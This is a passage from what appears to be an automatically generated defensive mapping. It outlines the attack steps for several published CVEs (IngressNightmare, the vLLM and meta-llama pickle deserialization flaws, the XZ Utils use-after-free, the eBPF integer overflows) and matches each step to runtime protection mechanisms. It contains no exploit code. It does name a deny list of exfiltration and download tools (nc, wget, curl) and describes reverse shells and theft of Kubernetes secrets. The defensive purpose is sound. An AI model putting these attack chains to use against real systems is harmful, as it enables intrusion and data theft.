• As a result, the attacker achieves Remote Code Execution (RCE), potentially leading to complete system compromise, data theft, denial of service, or malware installation. (Cited from: "Successful exploitation allows an attacker to execute arbitrary code on the server, potentially leading to:Complete system compromise Data theft Denial of service Installation of malware")
  • BR-76: Python Deserialization Protection - This mechanism applies by attempting to block malicious function calls from the deserialized object, thus preventing the RCE from fully materializing or limiting its impact.
  • BR-77: Python OS Command Injection Prevention - This mechanism applies by blocking attempts from the RCE payload to execute OS-level commands, which are often a key part of system compromise, data theft, or malware installation.
  • BR-92: Python Eval Protection - If the RCE payload uses eval() for its malicious actions, this mechanism applies by blocking such eval() calls, thereby hindering the RCE.
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, this mechanism applies by preventing the RCE from executing any newly dropped malware (binaries/scripts) not part of the original image, which is a common follow-on action to RCE.
  • BR-82: Process Runtime Execution Guardrails - This mechanism applies by preventing the RCE from starting unauthorized new processes, which could be used for further compromise, data theft, or running malware.
  • BR-88: Process Path Exec Allow - This mechanism applies by blocking any executables run by the RCE if they reside in a disallowed filesystem path, limiting the attacker's ability to run tools or malware.
  • BR-90: Process Exec Deny - This mechanism applies by blocking the RCE from executing specific denied tools (like /nc, /wget, /curl by default) often used for data exfiltration or downloading further malware.
  • BR-91: Sensitive File Access - This mechanism applies by monitoring and potentially blocking attempts by the RCE payload to access (read or modify) files designated as sensitive (e.g., configuration files, credentials, SSH keys), which is critical for preventing data theft.
  • BR-52: Data Resource Mandatory Access Control - This mechanism applies by enforcing an allow-list of binaries permitted to access critical data directories. If the RCE involves an unauthorized binary (e.g., newly dropped malware) attempting to access these directories for data theft or ransomware-like actions, it would be blocked.
  • BR-75: Critical Directory Write Protection - This mechanism applies by preventing any process, including one compromised by RCE, from making unauthorized write attempts to specified critical directories, which can help prevent system compromise or malware installation in those locations.
  • BR-62: Linux/Host Drift Protection - This mechanism applies by blocking the execution of any new executable files (malware) introduced by the RCE if they weren't installed via a trusted package manager.
  • BR-86: PTrace Protection - If the RCE payload attempts to use ptrace for further compromise (e.g., injecting into other processes, tampering with memory), this mechanism would apply by blocking unauthorized ptrace calls.
• The availability of a proof-of-concept exploit facilitates this attack. (Cited from: "A proof-of-concept exploit for CVE-2025-27520 is available")

F1: Denial of Service (DoS) attack exploiting CVE-2025-31115 by causing a crash in applications using the multithreaded decoder of XZ Utils.

• Attacker identifies a target application or system that utilizes an affected version of XZ Utils (5.3.3alpha to 5.8.0) and specifically employs the lzmastreamdecoder_mt function for decompressing .xz or .lzma files. (Cited from: "impacts XZ Utils versions 5.3.3alpha to 5.8.0", "applications and systems using the lzmastreamdecoder_mt function in liblzma")
• Attacker crafts a malicious compressed file (e.g., an .xz file) containing "invalid input" specifically designed to trigger the heap use-after-free vulnerability in the multithreaded decoder. (Cited from: "invalid input can at least result in a crash", "heap use-after-free bug in its multithreaded decoder")
• Attacker delivers this malicious file to the target system or application. This could be via direct upload, email attachment, or by placing it where the application automatically processes files.
• The target application attempts to decompress the malicious file using the vulnerable lzmastreamdecoder_mt function.
• The processing of the "invalid input" by the decoder triggers the heap use-after-free condition, leading to a crash of the application or system process. (Cited from: "invalid input can at least result in a crash")
  • BR-81: Kernel CET/Shadow Stack Guard - This mechanism could apply if the memory corruption resulting from the heap use-after-free in user-space is severe enough to destabilize kernel operations or if an attacker attempts to leverage the resulting crash or limited control to trigger a kernel-level Return-Oriented Programming (ROP) attack. BR-81 protects against such kernel ROP attacks on Intel CPUs by ensuring return address integrity.
  • BR-73: Kernel CET/IBT Guard - This mechanism could apply if the user-space memory corruption or subsequent exploitation attempts lead to an attack on the kernel involving Jump-Oriented Programming (JOP) or manipulation of indirect branches. BR-73 protects the Linux kernel's control flow integrity for indirect branches on Intel CPUs.

​

F2: Memory corruption attack exploiting CVE-2025-31115, potentially leading to arbitrary code execution by leveraging the heap use-after-free vulnerability.

• Attacker targets an application or system known to use XZ Utils versions 5.3.3alpha to 5.8.0 with its multithreaded decoder (lzmastreamdecoder_mt). (Cited from: "impacts XZ Utils versions 5.3.3alpha to 5.8.0", "applications and libraries that utilize the lzmastreamdecoder_mt function")
• Attacker crafts a sophisticated malicious compressed file with specific "invalid input". This input is designed to exploit the vulnerability leading to "heap use after free and writing to an address based on the null pointer plus an offset". (Cited from: "invalid input", "heap use after free and writing to an address based on the null pointer plus an offset")
• Attacker introduces the crafted file into the target application's processing workflow.
• Upon decompression with lzmastreamdecoder_mt, the vulnerability is triggered, causing targeted memory corruption. (Cited from: "corrupt memory")
• The attacker aims for this memory corruption to alter critical program state or control flow, potentially enabling the "ability to execute arbitrary code". (Cited from: "ability to execute arbitrary code")
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, this mechanism applies because if arbitrary code execution is achieved and the attacker attempts to execute new binaries or scripts not present in the original container image, BR-54 would block their execution.
  • BR-62: Linux/Host Drift Protection - This mechanism applies because if arbitrary code execution is achieved and the attacker attempts to execute new binaries or scripts that were not installed via a trusted package manager (i.e., added outside of these managers post-boot), BR-62 would block their execution.
  • BR-55: Reverse Shell Protection - This mechanism applies because if arbitrary code execution allows the attacker to attempt to establish a reverse shell or bind shell by hijacking a native shell interpreter's I/O to a network socket, this mechanism would detect and block such activity.
  • BR-90: Process Exec Deny - This mechanism is applicable because if the attacker, after achieving arbitrary code execution, attempts to execute a process whose name or path suffix (e.g., '/nc', '/wget', '/curl') is on the deny list, BR-90 would block that specific process execution.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the attacker, after achieving arbitrary code execution, attempts to execute a payload from a non-allowed filesystem path (e.g., '/tmp' or a user-writable directory not on the allowlist), BR-88 would block it.
  • BR-87: Process Socket Deny - This mechanism is applicable because if the exploited process, now under attacker control via arbitrary code execution, attempts to initiate unauthorized outgoing network connections or listen for incoming ones, and this process is not on the allow list for network access, its socket operations would be denied.
  • BR-81: Kernel CET/Shadow Stack Guard - This mechanism is applicable if the attacker, after achieving arbitrary code execution in user-space via the liblzma vulnerability, attempts to escalate privileges or gain further system control by launching a kernel-level exploit that uses Return-Oriented Programming (ROP). BR-81 protects the Linux kernel (on Intel CPUs) from such ROP attacks.
  • BR-73: Kernel CET/IBT Guard - This mechanism is applicable if the attacker, following user-space ACE, tries to exploit the Linux kernel (on Intel CPUs) using Jump-Oriented Programming (JOP) or other indirect branch manipulation techniques. BR-73 protects against these kernel control-flow attacks.
  • BR-96: Library OS Command Injection Prevention - This mechanism is applicable if the arbitrary code execution achieved within the context of the vulnerable liblzma library subsequently causes the library itself to make direct fork() or exec() system calls (e.g. to run OS commands), and liblzma is not on an allow list for such behavior. BR-96 monitors libraries for these calls and can block them.

F1: Exploitation of IngressNightmare vulnerabilities (CVE-2025-24513, CVE-2025-24514, CVE-2025-1097, CVE-2025-1098, CVE-2025-1974) leading to unauthenticated remote code execution on the Ingress NGINX Controller, secret exfiltration, and potential cluster takeover by abusing its unauthenticated admission controller.

• Attacker identifies an Ingress NGINX Controller for Kubernetes where the admission controller component is accessible over the network without authentication. (Cited from: "admission controllers, deployed within a Kubernetes pod, are accessible over the network without authentication", "putting over 6,500 clusters at immediate risk by exposing the component to the public internet.")
• Attacker prepares a malicious payload, such as a shared library, designed to be executed on the controller's pod. (Cited from: "upload a malicious payload in the form of a shared library to the pod")
• Attacker uploads the malicious payload (shared library) to the Ingress NGINX Controller's pod, potentially utilizing the client-body buffer feature of NGINX. (Cited from: "upload a malicious payload in the form of a shared library to the pod by using the client-body buffer feature of NGINX")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable because if the attacker attempts to upload the malicious shared library to a directory designated as critical by policy (e.g., core application directories), this mechanism would block the unauthorized write attempt, preventing the payload from being staged.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because while it primarily blocks execution, the act of uploading a new shared library (which is executable code) into the container environment is a precursor to drift. The mechanism's manifest of original executables would not include this new library, leading to its execution being blocked later (as covered in steps 6 & 7).
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because the uploaded shared library constitutes a new file added outside of trusted package managers. While the block occurs at execution time, the detection of this new file is part of the drift protection concept.
• Attacker crafts a malicious AdmissionReview request (a malicious ingress object). This request includes an arbitrary NGINX configuration injection leveraging one or more vulnerabilities like CVE-2025-24514 (auth-url Annotation Injection), CVE-2025-1097 (auth-tls-match-cn Annotation Injection), CVE-2025-1098 (mirror UID Injection), or CVE-2025-1974 (NGINX Configuration Code Execution). (Cited from: "injecting an arbitrary NGINX configuration remotely by sending a malicious ingress object (aka AdmissionReview requests) directly to the admission controller", "The request, in turn, contains one of the aforementioned configuration directive injections that causes the shared library to be loaded", "CVE-2025-24514 – auth-url Annotation Injection", "CVE-2025-1097 – auth-tls-match-cn Annotation Injection", "CVE-2025-1098 – mirror UID Injection", "CVE-2025-1974 – NGINX Configuration Code Execution")
• Attacker sends the crafted AdmissionReview request directly to the exposed, unauthenticated admission controller endpoint. (Cited from: "sending a malicious ingress object (aka AdmissionReview requests) directly to the admission controller", "admission controllers [...] are accessible over the network without authentication.")
• The injected NGINX configuration directive within the AdmissionReview request causes the NGINX process running in the controller's pod to load the attacker's previously uploaded shared library. (Cited from: "The request, in turn, contains one of the aforementioned configuration directive injections that causes the shared library to be loaded")
  • BR-89: Library Load Path Allow - This mechanism is applicable because it restricts the directories from which shared libraries (.so files) can be loaded. If the attacker's shared library is uploaded to and loaded from a path not on the pre-defined allowlist (e.g., a temporary or user-writable directory), this mechanism would block the mmap() call used for library loading.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because the shared library is a new executable component not present in the original container image. Loading this library for execution constitutes container drift, which this mechanism is designed to prevent by blocking the execution of such new code.
  • BR-58: X-Lib Overwrite Supply Chain Defense - This mechanism is applicable because the loading of an unauthorized, malicious shared library due to injected configuration constitutes an unauthorized library interaction. It aims to prevent scenarios where library calls are manipulated, and loading an entirely malicious library fits the broader goal of controlling library interactions, even if not a classic 'xzutils' style compromise of an existing library.
• The loading of the malicious shared library results in remote code execution (RCE) on the Ingress NGINX Controller's pod. (Cited from: "effectively leading to remote code execution", "resulting in code execution on the Ingress NGINX Controller's pod.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is directly applicable as it prevents the execution of any new executable binaries or scripts (like the malicious shared library) that were not part of the original container image, thus blocking the RCE. If this software ran inside a container, then this mechanism applies because the malicious shared library is new code not present in the original image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the RCE, achieved through the loaded library, subsequently attempts to execute new processes (using exec() syscalls) from filesystem paths not on the allowlist. Note: This mechanism does not apply if the NGINX process (parent of the RCE context) is running as root.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable if the RCE attempts to start any new, unauthorized processes within the container. It uses NSJail to enforce that only authorized processes can run.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because the vulnerability leads to RCE. As per its LLM Correlation Rule, if RCE is achieved, it's assumed the attacker can establish a reverse shell, which this mechanism would detect and block by preventing shell file descriptors from being bound to network sockets.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because the execution of the malicious shared library represents code execution from a file added outside of trusted package managers, which this mechanism aims to block.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable because it ensures only allow-listed containers/processes can execute new or modified files. If the NGINX controller pod or the NGINX process is not allow-listed to execute this new malicious library, its execution would be blocked.
• Post-RCE, the attacker injects further malicious NGINX configurations or executes arbitrary commands to read sensitive files and run arbitrary code within the compromised pod. (Cited from: "injecting malicious configuration, and utilizing it to read sensitive files and run arbitrary code.")
  • BR-91: Sensitive File Access - This mechanism is applicable because if the attacker attempts to read files designated as sensitive (e.g., /etc/shadow, SSH keys, API tokens stored in files) using the RCE, this mechanism would detect and potentially block such access attempts based on policy.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the attacker, post-RCE, attempts to inject further malicious NGINX configurations by writing to configuration files located in directories protected by this policy.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the 'execution of arbitrary commands' involves running new binary or script files dropped by the attacker post-RCE that were not part of the original container image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the 'execution of arbitrary commands' involves exec()-ing new processes from filesystem paths not on the allowlist. (Note: Root limitation applies if parent is root).
  • BR-90: Process Exec Deny - This mechanism is applicable if the 'execution of arbitrary commands' involves running processes explicitly denied by this mechanism's policy (e.g., default blocks on /nc, /wget, /curl).
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable if the 'execution of arbitrary commands' involves starting new, unauthorized processes.
  • BR-55: Reverse Shell Protection - This mechanism is applicable as the attacker has RCE and might use arbitrary command execution to establish a reverse shell, which this mechanism would block.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the arbitrary code being executed is from a new file not installed via a trusted package manager.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable if the arbitrary code is a new/modified file executed by a non-allow-listed process within the pod's context potentially affecting the host view if filesystem is shared or mechanism has pod visibility.
• The attacker abuses the (potentially highly privileged) Service Account associated with the Ingress NGINX Controller's pod to interact with the Kubernetes API. (Cited from: "permit an attacker to abuse a strong Service Account", "The admission controller's elevated privileges and unrestricted network accessibility create a critical escalation path")
  • BR-47: Container Capability Control - This mechanism is applicable because it allows defining specific, reduced capabilities for containers, overriding Kubernetes defaults. If the Ingress controller pod was granted excessive Linux capabilities, this mechanism could restrict them, thereby limiting the potential impact of SA token abuse if actions require those capabilities at the pod level.
  • BR-67: Container Root User Control - This mechanism is applicable if the process within the pod abusing the Service Account token is running as root unnecessarily. Preventing non-init processes from running as root could limit the attacker's ability to perform certain actions even with a powerful SA token, especially actions within the pod itself.
  • BR-49: Namespace Execution Guard - This mechanism is applicable as per its LLM Correlation Rule: "IF an attack chain step mentions anything LIKE complete Kubernetes cluster takeover, THEN it's LIKELY this mechanism IS APPLICABLE." Abusing a highly privileged Service Account to interact with the K8s API is a key step towards cluster takeover.
• Utilizing the compromised Service Account, the attacker gains unauthorized access to and exfiltrates all secrets stored across all namespaces in the Kubernetes cluster. (Cited from: "unauthorized access to all secrets stored across all namespaces in the Kubernetes cluster by attackers", "read Kubernetes secrets")
  • BR-91: Sensitive File Access - This mechanism is applicable if the Kubernetes secrets are mounted as files into the compromised pod or other accessible pods, and these file paths (e.g., default secret mount paths, or specific paths like /.ssh/id_) are monitored. Accessing these files would be detected/blocked.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable if secrets are stored as files in critical data directories protected by this MAC policy, and the attacker uses a non-allow-listed binary (spawned via RCE) to access them.
  • BR-49: Namespace Execution Guard - This mechanism is applicable as accessing all secrets across all namespaces is a significant step towards cluster takeover, fitting the LLM Correlation Rule for this mechanism.
• This successful exploitation, including RCE and secret exfiltration, can ultimately lead to a complete takeover of the Kubernetes cluster. (Cited from: "can result in cluster takeover", "ultimately facilitate cluster takeover", "complete cluster takeover.")
  • BR-49: Namespace Execution Guard - This mechanism is directly applicable based on its LLM Correlation Rule: "IF an attack chain step mentions anything LIKE complete Kubernetes cluster takeover, THEN it's LIKELY this mechanism IS APPLICABLE."
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable because if the vulnerable software ran inside a container, an attacker achieving RCE and aiming for cluster takeover might attempt to interact with the underlying node's container runtime socket (e.g., containerd.sock or docker.sock) to deploy privileged containers or manipulate existing ones, bypassing Kubernetes API controls. This mechanism would prevent unauthorized processes from accessing that socket.

F1: Exploitation of CVE-2025-29783 in vLLM by sending a crafted pickled payload over ZMQ/TCP to the Mooncake integration, leading to remote code execution due to unsafe deserialization.

• Attacker identifies a vLLM deployment using the Mooncake feature for distributed LLM deployments and running an affected version (vLLM > 0.6.5 and < 0.8.0). (Cited from: "vulnerability impacts vLLM versions greater than or equal to 0.6.5 and less than 0.8.0", "vulnerability lies in vLLM’s integration with Mooncake, a feature used for distributed LLM deployments")
• Attacker confirms that the Mooncake integration is active, exposing a ZMQ/TCP service on the network. (Cited from: "When vLLM is configured to use Mooncake, it exposes an unsafe deserialization process directly over ZMQ/TCP.", "The mooncake pipe is exposed over the network by design, using ZMQ over TCP.")
• Attacker notes the lack of network or authentication controls on the Mooncake service. (Cited from: "it does not appear that there are any controls (network, authentication, etc) to prevent arbitrary users from sending this payload to the affected service.", "The mooncake integration opens sockets on all interfaces")
• Attacker crafts a malicious payload. This payload is a Python object that, when serialized using pickle and then deserialized using pickle.loads(), will execute arbitrary code. (Cited from: "The root problem is recv tensor() calls recv impl which passes the raw network bytes to pickle.loads().", "This exposure allows attackers to execute remote code on distributed hosts.")
• Attacker connects to the exposed ZMQ/TCP socket used by the vLLM Mooncake integration. (Cited from: "The mooncake integration opens sockets on all interfaces")
• Attacker sends the raw bytes of the serialized malicious pickle payload over the network to the target vLLM service's Mooncake endpoint. (Cited from: "sending this payload to the affected service")
• On the vulnerable vLLM host, the recv_tensor() (or recv_impl) function receives these raw network bytes. (Cited from: "The root problem is recv tensor() calls recv impl")
• The received bytes are passed directly to pickle.loads(). (Cited from: "which passes the raw network bytes to pickle.loads()")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it is designed to limit the actions that Python deserialized objects are allowed to take by intercepting the deserialization process (like pickle.loads()) and applying security policies to restrict the execution of function calls originating from deserialized objects. The article explicitly states the vulnerability involves pickle.loads() in Python.
• The pickle.loads() function deserializes the malicious object, causing the embedded arbitrary code to execute on the vLLM distributed host with the privileges of the vLLM process. (Cited from: "This exposure allows attackers to execute remote code on distributed hosts.", "allows for remote code execution on any deployments using Mooncake to distribute KV across distributed hosts.")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it would attempt to block the malicious function calls originating from the deserialized Python object, thereby preventing or limiting the arbitrary code execution. The vulnerability is centered around Python deserialization with pickle.loads().
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because if the arbitrary code executed via pickle deserialization attempts to run OS-level commands or system-native binaries, this mechanism would monitor the Python runtime for such patterns and block unauthorized command execution attempts.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the vulnerable software ran inside a container, and the arbitrary code execution attempts to run any new executable binary or script not present in the original container image, this mechanism would block that execution.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because if the arbitrary code execution attempts to start any new unauthorized processes within a Linux-based container environment, this mechanism, leveraging NSJail, would prevent such processes from starting based on predefined rules.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the arbitrary code execution involves placing an executable or script in a non-allowed filesystem path (e.g., /tmp) and then attempting to run it, this mechanism would intercept the exec() call and block it if the path is not on the allowlist.
  • BR-90: Process Exec Deny - This mechanism is applicable because if the arbitrary code execution attempts to run a process whose final path component matches predefined suffixes (like '/nc', '/wget', '/curl' by default), this mechanism would block that execution.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because the vulnerability allows for remote code execution. As per the mechanism's LLM correlation rule, if RCE is achieved, it's assumed the attacker can also establish a reverse shell, which this mechanism aims to prevent by blocking the binding of shell file descriptors to network sockets.

F1: Exploitation of CVE-2024-56614 via integer overflow in xskmapdelete_elem within the AF_XDP framework, leading to kernel memory corruption.

• Attacker targets the xskmapdelete_elem function within the Linux kernel's eBPF framework, specifically related to AFXDP sockets used for high-performance packet processing. (Cited from: "CVE-2024-56614: This vulnerability resides within the xskmapdeleteelem function, which is part of the AFXDP sockets framework.", "AFXDP is designed for high-performance packet processing")
• Attacker crafts input that triggers an implicit type conversion between an unsigned integer and a signed integer during a bounds check within the function. (Cited from: "Both vulnerabilities stem from the same root cause: an implicit type conversion between an unsigned integer and a signed integer during a bounds check.")
• The crafted input includes a value that, after the type conversion, becomes a negative value, allowing it to bypass the intended bounds check. (Cited from: "This allows for a negative value to bypass the check")
• The bypassed check leads to an integer overflow, resulting in an out-of-bounds write operation within kernel memory. (Cited from: "resulting in an out-of-bounds write operation.", "exploit integer overflow errors in critical functions, leading to out-of-bounds writes")
  • BR-35: Kernel Integrity Protection - This mechanism is applicable because it protects kernel code and data regions by logging or blocking unauthorized write attempts. An out-of-bounds write resulting from the integer overflow is an unauthorized write into kernel memory, which this mechanism aims to prevent or detect.
  • BR-45: Page Table Protection - This mechanism is applicable if the out-of-bounds write targets the static portions of the kernel's page tables. It verifies the integrity of these tables, and an unauthorized write could corrupt them, triggering detection or prevention.
  • BR-39: Integrity Patch Violation - This mechanism is applicable conceptually as it detects unauthorized modifications (patches) to the kernel. While an OOB write isn't a typical patch, it represents an unauthorized modification of kernel memory, aligning with the goal of preventing integrity violations.
• This out-of-bounds write causes memory corruption within the Linux kernel. (Cited from: "memory corruption")
  • BR-35: Kernel Integrity Protection - This mechanism is applicable as it is designed to protect kernel code and read-only data regions from unauthorized writes. The memory corruption resulting from the OOB write constitutes such an unauthorized modification, which this mechanism aims to prevent or detect.
  • BR-45: Page Table Protection - This mechanism is applicable if the memory corruption affects the static portions of the kernel's page tables. It monitors these specific regions for unauthorized changes.
  • BR-39: Integrity Patch Violation - This mechanism is applicable because it detects unauthorized modifications to the kernel. The memory corruption caused by the exploit represents such an unauthorized change, potentially triggering this protection.
• The attacker leverages the memory corruption to potentially gain control of the kernel, achieve arbitrary code execution, gain root privileges, or cause a complete system compromise. (Cited from: "potentially gain control of the kernel, leading to arbitrary code execution.", "A successful attack could lead to a complete system compromise, allowing the attacker to gain root privileges and execute arbitrary code.")
  • BR-73: Kernel CET/IBT Guard - This mechanism is applicable because it uses Intel CET/IBT to prevent control-flow hijacking techniques like Jump-Oriented Programming (JOP) and potentially Return-Oriented Programming (ROP) if Shadow Stack (BR-81) is also considered. Arbitrary code execution often relies on hijacking the kernel's control flow, which CET/IBT aims to block.
  • BR-30: Process Credential Protection - This mechanism is applicable as it monitors and protects process credential structures from unauthorized modification. Gaining root privileges often involves tampering with these structures (e.g., setting UID/GID to 0), which this mechanism aims to detect and prevent.
  • BR-46: DirtyCred Protection - This mechanism is conceptually applicable as it prevents privilege escalation by detecting attempts to swap kernel credentials, even though the initial vulnerability is not file-based. If the memory corruption is used to manipulate credential structures similarly to DirtyCred, this protection could detect or block the privilege escalation attempt.
  • BR-31: Privileged Inode Protection - This mechanism is applicable if the arbitrary code execution attempts to modify security-relevant fields of privileged inodes (e.g., SUID/SGID files) to establish persistence or further escalate privileges. It tracks the integrity of these fields.
  • BR-28: Register Protect - This mechanism is applicable if the arbitrary code execution attempts involve modifying critical system registers to gain control or escalate privileges. It allows auditing or blocking of unauthorized register writes.
• The attack is facilitated by the availability of Proof-of-concept exploit code. (Cited from: "Proof-of-concept exploit code has been released for both vulnerabilities, significantly increasing the likelihood of active exploitation.")

​

F2: Exploitation of CVE-2024-56615 via integer overflow in devmapmapdelete_elem within the DEVMAP component of eBPF, leading to kernel memory corruption.

• Attacker targets the devmapmapdelete_elem function within the Linux kernel's eBPF framework, specifically related to the DEVMAP component. (Cited from: "CVE-2024-56615: Similar to CVE-2024-56614, this vulnerability involves an integer overflow condition, but within the devmapmapdelete_elem function.", "This function is associated with DEVMAP, another component within the eBPF ecosystem.")
• Attacker crafts input that triggers an implicit type conversion between an unsigned integer and a signed integer during a bounds check within the function. (Cited from: "Both vulnerabilities stem from the same root cause: an implicit type conversion between an unsigned integer and a signed integer during a bounds check.")
• The crafted input includes a value that, after the type conversion, becomes a negative value, allowing it to bypass the intended bounds check. (Cited from: "This allows for a negative value to bypass the check")
• The bypassed check leads to an integer overflow, resulting in an out-of-bounds write operation within kernel memory. (Cited from: "resulting in an out-of-bounds write operation.", "exploit integer overflow errors in critical functions, leading to out-of-bounds writes")
  • BR-35: Kernel Integrity Protection - This mechanism is applicable because it protects kernel code and data regions from unauthorized writes. The OOB write resulting from the integer overflow is an unauthorized write into kernel memory, which this mechanism aims to prevent or detect.
  • BR-45: Page Table Protection - This mechanism is applicable if the out-of-bounds write targets the static portions of the kernel's page tables. It verifies the integrity of these tables, and an unauthorized write could corrupt them, triggering detection or prevention.
  • BR-39: Integrity Patch Violation - This mechanism is applicable conceptually as it detects unauthorized modifications (patches) to the kernel. While an OOB write isn't a typical patch, it represents an unauthorized modification of kernel memory, aligning with the goal of preventing integrity violations.
• This out-of-bounds write causes memory corruption within the Linux kernel. (Cited from: "memory corruption")
  • BR-35: Kernel Integrity Protection - This mechanism is applicable as it is designed to protect kernel code and read-only data regions from unauthorized writes. The memory corruption resulting from the OOB write constitutes such an unauthorized modification, which this mechanism aims to prevent or detect.
  • BR-45: Page Table Protection - This mechanism is applicable if the memory corruption affects the static portions of the kernel's page tables. It monitors these specific regions for unauthorized changes.
  • BR-39: Integrity Patch Violation - This mechanism is applicable because it detects unauthorized modifications to the kernel. The memory corruption caused by the exploit represents such an unauthorized change, potentially triggering this protection.
• The attacker leverages the memory corruption to potentially compromise the kernel, execute malicious code, gain root privileges, or cause a complete system compromise. (Cited from: "Successful exploitation could allow an attacker to compromise the kernel and execute malicious code.", "A successful attack could lead to a complete system compromise, allowing the attacker to gain root privileges and execute arbitrary code.")
  • BR-73: Kernel CET/IBT Guard - This mechanism is applicable because it uses Intel CET/IBT to prevent control-flow hijacking techniques like Jump-Oriented Programming (JOP). Executing malicious code often involves hijacking the kernel's control flow, which CET/IBT aims to block.
  • BR-30: Process Credential Protection - This mechanism is applicable as it monitors and protects process credential structures from unauthorized modification. Gaining root privileges often involves tampering with these structures (e.g., setting UID/GID to 0), which this mechanism aims to detect and prevent.
  • BR-46: DirtyCred Protection - This mechanism is conceptually applicable as it prevents privilege escalation by detecting attempts to swap kernel credentials. If the memory corruption is used to manipulate credential structures in a way similar to DirtyCred, this protection could detect or block the privilege escalation attempt.
  • BR-31: Privileged Inode Protection - This mechanism is applicable if the malicious code execution attempts to modify security-relevant fields of privileged inodes (e.g., SUID/SGID files) to establish persistence or further escalate privileges. It tracks the integrity of these fields.
  • BR-28: Register Protect - This mechanism is applicable if the malicious code execution attempts involve modifying critical system registers to gain control or escalate privileges. It allows auditing or blocking of unauthorized register writes.
• The attack is facilitated by the availability of Proof-of-concept exploit code. (Cited from: "Proof-of-concept exploit code has been released for both vulnerabilities, significantly increasing the likelihood of active exploitation.")

F1: Exploitation of CVE-2024-50050 in Meta's Llama framework via unsafe deserialization using pickle over a ZeroMQ socket.

• Attacker identifies a target system running an affected version of meta-llama (prior to 0.0.41). (Cited from: "Affected versions of meta-llama", "issue was addressed by Meta on October 10 in version 0.0.41")
• Attacker discovers that the ZeroMQ socket used by the Llama Stack Python Inference API implementation is exposed over the network. (Cited from: "In scenarios where the ZeroMQ socket is exposed over the network")
• Attacker crafts malicious data in the form of a Python object designed to execute arbitrary code upon deserialization by pickle. (Cited from: "attacker can execute arbitrary code by sending malicious data that is deserialized", "sending crafted malicious objects to the socket", "automatically deserialize Python objects using pickle")
• Attacker sends the crafted malicious object to the exposed ZeroMQ socket of the target inference server. (Cited from: "sending crafted malicious objects to the socket")
• The recv_pyobj function within the server's Python Inference API implementation receives the malicious object. (Cited from: "Since recv_pyobj will unpickle these objects")
• The server automatically deserializes the received object using the unsafe pickle library, triggering the vulnerability. (Cited from: "vulnerable to deserialization of untrusted data", "automatically deserialize Python objects using pickle", "recv_pyobj will unpickle these objects")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it intercepts the Python deserialization process for objects originating from the network, matching the vulnerability description (Python + deserialization/CWE-502). It can block subsequent OS command execution attempts by the deserialized object.
• The embedded malicious code within the crafted object is executed on the host machine running the llama-stack inference server, achieving Remote Code Execution (RCE). (Cited from: "attacker could achieve arbitrary code execution (RCE) on the host machine")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it prevents deserialized Python objects (originating from the network) from executing system-native binaries, directly blocking the RCE attempt described. The LLM correlation rule (Python + deserialization/CWE-502) is met.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because RCE achieved through Python deserialization often involves executing OS-level commands from within the Python process. This mechanism detects and blocks such attempts. The LLM correlation rule (Python + OS command injection/CWE-78) is met.
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, then this mechanism applies because it prevents the execution of any new executable binaries or scripts dropped onto the container filesystem by the attacker using the RCE. The LLM correlation rule (RCE achieved) is met.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because attackers commonly establish reverse shells after achieving RCE. This mechanism blocks the binding of shell I/O to network sockets. The LLM correlation rule (RCE achieved) is met.
  • BR-90: Process Exec Deny - This mechanism is applicable because the RCE payload might attempt to execute common tools like /nc, /wget, or /curl for subsequent actions (e.g., downloading more tools, C2), which this mechanism blocks by default based on path suffix.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the attacker uses the RCE to download and execute a tool from a non-standard, non-allowlisted path (like /tmp), this mechanism would block the exec() call. The LLM correlation rule (execute from non-standard path) is met.
  • BR-87: Process Socket Deny - This mechanism is applicable because the RCE payload might run as, or spawn, a specific unauthorized process that then attempts to initiate network connections (e.g., for C2 or data exfiltration). This mechanism can block socket operations for denied processes. The LLM correlation rule (unauthorized process performs network activity) is met.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because the RCE payload might attempt to start new, unauthorized processes on the system to perform further actions. This mechanism prevents unauthorized process creation. The LLM correlation rule (unauthorized process execution) is met.
  • BR-80: Tainted File Download Protection - This mechanism is applicable if the RCE payload specifically uses wget or curl to download a file containing code and then attempts to execute that downloaded file. This mechanism monitors these specific processes and blocks subsequent execution. The LLM correlation rule (file download + execute code) is met.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the RCE occurs directly on the host (not container) and the attacker attempts to execute code (binary or script) that was added to the filesystem outside of a trusted package manager post-boot. The LLM correlation rule (RCE allows adding/executing unauthorized files) is met.
  • BR-65: Container Host Drift Prevention - If this vulnerability affects a process running directly on the container host, then this mechanism applies because it prevents unauthorized processes (not on allow list) from executing new or modified files added to the host filesystem post-boot. The LLM correlation rule (unauthorized file execution) is met.

